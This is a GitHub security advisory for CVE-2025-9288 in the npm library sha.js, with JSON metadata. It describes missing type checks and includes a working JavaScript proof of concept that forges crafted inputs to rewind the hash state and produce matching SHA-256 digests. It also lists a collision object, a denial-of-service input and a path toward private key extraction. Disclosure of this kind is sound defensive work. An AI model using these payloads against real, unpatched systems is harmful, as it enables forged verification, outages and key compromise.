GHSA-95M3-7Q98-8XR5

Vulnerability from github – Published: 2025-08-21 14:47 – Updated: 2025-11-03 21:34
VLAI
Summary
sha.js is missing type checks leading to hash rewind and passing on crafted data
Details

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
9.1 (Critical)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sha.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-9288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:47:55Z",
    "nvd_published_at": "2025-08-20T22:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) =\u003e JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require(\u0027sha.js\u0027)\nconst { randomBytes } = require(\u0027crypto\u0027)\n\nconst sha256 = (...messages) =\u003e {\n  const hash = sha(\u0027sha256\u0027)\n  messages.forEach((m) =\u003e hash.update(m))\n  return hash.digest(\u0027hex\u0027)\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), \u0027Hashed input means safe\u0027)\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n\u003e require(\u0027sha.js\u0027)(\u0027sha256\u0027).update(\u0027foo\u0027).digest(\u0027hex\u0027)\n\u00272c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae\u0027\n\u003e require(\u0027sha.js\u0027)(\u0027sha256\u0027).update(\u0027fooabc\u0027).update({length:-3}).digest(\u0027hex\u0027)\n\u00272c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae\u0027\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:\u00271e99\u0027}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)",
  "id": "GHSA-95m3-7q98-8xr5",
  "modified": "2025-11-03T21:34:22Z",
  "published": "2025-08-21T14:47:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9288"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserify/sha.js/pull/78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/browserify/sha.js"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9287"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sha.js is missing type checks leading to hash rewind and passing on crafted data"
}



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